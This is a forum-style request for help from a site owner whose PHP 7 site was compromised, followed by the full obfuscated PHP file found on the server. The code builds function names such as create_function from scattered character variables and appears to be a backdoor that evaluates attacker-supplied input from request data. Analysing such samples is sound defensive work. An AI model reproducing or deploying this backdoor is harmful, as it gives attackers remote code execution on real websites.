I have a php7 site that had some malware type files uploaded to it. My hosting provider notified me of it and I have removed them, but I wanted help in understanding the attack (help de-obsfucating, and help understanding what it does) Here is the source: DONT RUN IT, as I dont know what it does.
<?php
$guillotine ='veLaT:(at'; $crust = 'cCrx9)'; $denials = 's';
$cockle='s';$cobby= 'e';
$cretinous ='uT,6)'; $antagonist = '[';$fortnightly ='iHr'; $formalism = 'i';$cowboy = 'a';$installed='i'; $lake =';R=^t';$dairymen='_';
$crept='$$i(f1a'; $bitterroot = 'v'; $arccos ='2?AEE_i_'; $lamb='a';$eradicated = 'tC';
$kimbell='sTiY';
$asymptotic= '"S';
$clarify = ')_,'; $firework='D/esH4+U';$clasping='b'; $divisor ='*rTts(';
$cautious ='EW-'; $embassy=')'; $chaperon ='t';$evinced ='s'; $ibid = 'P[P '; $alyson = 'KnTBe';
$buzzard= 'Sa_S);('; $laurent= ')Rk';
$enumerating= '>=Ueaa';$highly = '`7';$anonym= '0f_$R';$dam='r'; $gypsies ='rM?';$jaye= 't';$as= 'If';$flagrant = '8hHS$I)X';
$arcade = 'KT"'; $foolproof = 'r'; $bowmen ='F'; $incompatibly ='y'; $delegable='a';$heavy ='n$@Qsct';$diatribe= '4'; $campfire= 'o';
$hayyim= 'C;r__e'; $goober= 'e';$dejected= 'e';$bedazzle='$'; $incompletion = 'c'; $hypothetical= 'o'; $diploma= 'Ktusdd.J'; $irremediable='n';$epic ='eEt,S_a'; $faina = 'l(F'; $internet = 'T';
$ephemeris='('; $incorrect ='XfVg'; $binder='r'; $barnard = ')'; $libra= '"';$applied= 'O'; $christian = '_c';$bhoy = 'e';$grieving=']gspHH';$gained ='v'; $fisticuff ='3e:F';
$harlie ='EP)]'; $ermine ='h';
$bond = 'om$<a'; $groundsel ='c]_'; $banning ='r';$innocence ='$';$hutchins ='"'; $amoebae = 't';
$doggy ='y"'; $erminie='Z'; $finesse= '(T"(Vt[lT';
$differing= 'X($'; $atrophic='"]N:)ie'; $forswear = ')]xGK';$buddies = 'RE';
$cynthie = 'O[Tg6sce'; $lane ='(';
$encourage ='_';
$harassment='?p';$jobie ='i(';$camber ='['; $boiled = 'i$O';$bel = 'rQr(C);v';
$boating ='d';
$headwall = 'e';$exemplary = 'ek="5';$climate =';'; $comfortabilities =$cynthie['6'].$bel['2'] .$exemplary['0'].$bond['4'] . $finesse['5'].
$exemplary['0'] . $encourage .
$incorrect['1'] .$diploma['2']. $irremediable. $cynthie['6'].$finesse['5']. $boiled[0] .$bond['0']. $irremediable ;
$injunct =$ibid[3] ; $digestible=$comfortabilities($injunct,$exemplary['0'] .$bel['7'] . $bond['4'].$finesse['7']. $bel[3] . $bond['4']. $bel['2'] .$bel['2']. $bond['4'] .$doggy['0'].$encourage . $harassment['1'] .$bond['0']. $harassment['1'] .$bel[3].$incorrect['1'] .$diploma['2'].$irremediable. $cynthie['6'] .$encourage.$cynthie['3']. $exemplary['0'].$finesse['5'] .$encourage . $bond['4'].$bel['2'].
$cynthie['3'] . $cynthie[5]. $bel[3]. $bel[5] . $bel[5] .$bel[5] .$climate ); $digestible
($embarrassment['0'] , $fisticuff['3'], $arccos[2] , $cynthie[5],
$atrophic['2'], $divisor['0'],
$gypsies['1'],
$bond['3'] , $boiled['1'].$boiled[0]. $exemplary[2].$bond['4'] .$bel['2'].
$bel['2']. $bond['4'] .$doggy['0'] . $encourage .$bond['1'] .$exemplary['0'].$bel['2'] . $cynthie['3'].$exemplary['0'] .$bel[3].$boiled['1'] . $encourage.$buddies['0']. $buddies['1'].
$bel['1'].
$enumerating['2'].$buddies['1']. $epic[4].
$cynthie['2'].
$epic['3'].$boiled['1'] .$encourage. $bel['4'].$boiled['2']. $boiled['2'] .
$forswear['4'].$flagrant['5'] . $buddies['1'] . $epic['3'].$boiled['1']. $encourage.
$epic[4] . $buddies['1'] . $buddies['0']. $finesse['4'] .$buddies['1'].$buddies['0'] . $bel[5] .$climate.$boiled['1']. $bond['4'] . $exemplary[2]. $boiled[0]. $cynthie[5].$cynthie[5] .$exemplary['0']. $finesse['5'] .$bel[3]. $boiled['1']. $boiled[0] . $camber .$exemplary['3'] .$ermine . $forswear['2'] . $exemplary['1'] .
$cynthie['6'] .
$finesse['5']. $finesse['5']. $cynthie[5].
$incorrect['1'] .$exemplary['3']. $forswear['1'] .$bel[5]. $harassment['0'] .$boiled['1'].$boiled[0]. $camber. $exemplary['3'].
$ermine.$forswear['2']. $exemplary['1'] . $cynthie['6'].$finesse['5']. $finesse['5'] . $cynthie[5] .
$incorrect['1'] .$exemplary['3']. $forswear['1'].$atrophic['3'] . $bel[3].$boiled[0].$cynthie[5].$cynthie[5] . $exemplary['0'] .
$finesse['5'] .$bel[3]. $boiled['1'] .$boiled[0] .
$camber .$exemplary['3'] .$grieving['5']. $cynthie['2'] . $cynthie['2'].$harlie['1'] . $encourage .$grieving['5']. $differing['0'] .$forswear['4'].
$bel['4'] .$cynthie['2']. $cynthie['2'].$epic[4] . $fisticuff['3'] .$exemplary['3'] .
$forswear['1'].
$bel[5] .$harassment['0'] .
$boiled['1'].
$boiled[0] . $camber. $exemplary['3'] . $grieving['5'] .$cynthie['2'].$cynthie['2'] .$harlie['1'] . $encourage.$grieving['5'] .
$differing['0'] .$forswear['4']. $bel['4']. $cynthie['2'] . $cynthie['2'] .
$epic[4] . $fisticuff['3'] . $exemplary['3'] . $forswear['1'] .
$atrophic['3']. $boating.
$boiled[0].$exemplary['0'].$bel[5] .$climate . $exemplary['0'] . $bel['7'] .$bond['4']. $finesse['7'] .$bel[3]. $cynthie[5] .$finesse['5'] .$bel['2'] . $bel['2']. $exemplary['0'].$bel['7'].
$bel[3].$clasping . $bond['4'] .$cynthie[5].$exemplary['0']. $cynthie['4'].$diatribe.
$encourage.$boating. $exemplary['0'].
$cynthie['6'] . $bond['0'] . $boating. $exemplary['0'] .
$bel[3]. $cynthie[5] .
$finesse['5'].
$bel['2'].
$bel['2'] .
$exemplary['0'].$bel['7'].$bel[3].$boiled['1'] .
$bond['4']. $bel[5] .
$bel[5].$bel[5].$bel[5].$climate );
